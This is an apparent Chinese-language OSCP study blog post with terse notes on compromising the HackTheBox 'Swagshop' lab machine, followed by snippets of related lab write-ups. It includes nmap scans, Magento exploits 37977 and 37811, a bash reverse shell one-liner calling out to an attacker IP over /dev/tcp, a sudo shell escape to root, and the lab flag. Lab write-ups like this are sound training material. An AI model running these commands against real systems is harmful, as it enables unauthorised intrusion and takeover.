OSCP备考_0x14_HackThBox靶机_Linux_Swagshop

Ethan医生7个月前 (06-29)靶场233

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.180.205 (扫描TCP)

nmap -sU --top-ports 100 10.129.180.205 (扫描UDP)

访问80端口直接跳转swagshop.htb 绑定HOST

https://github.com/steverobbins/magescan/releases 查看版本

php magescan.phar scan:all http://swagshop.htb

然后查看有没有漏洞

使用37977.py,需要加index.php

有了账号密码可以执行另外一个RCE 37811

直接反弹SHELL,

python2 37811.py 'http://swagshop.htb/index.php/admin' "bash -c 'bash -i >& /dev/tcp/10.10.16.31/3334 0>&1'"

sudo -l

写入

!/bin/bash

直接跳转root权限

5c0dddff61853908d0441b804ec0a383

标签: OSCP

返回列表

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.95.188 (扫描TCP)http都没有查看到可以利用的点这边直接是看看orcal的漏...

名称说明靶机下载链接https://www.vulnhub.com/entry/symfonos-2,331/攻击机（kali）ip：192.168.233.168靶机（CentOS）ip：192.1...

名称说明靶机下载链接https://www.vulnhub.com/entry/tr0ll-2,107/攻击机（kali）ip：192.168.233.168靶机（CentOS）ip：192.168....

刚报考的第二天发现LAB一直断,之后购买VPS 阿里云-新加坡服务器记得需要注意防火墙,使用的协议如果是TCP就使用TCP UDP就使用UDP下面解决HTB或OSCP的 openvpn都是可以的非常...

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.167.171 (扫描TCP)nmap -sU --top-ports 100 ...

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.122.40 (扫描TCP)nmap -sU --top-ports 100 ...

EthanDoctor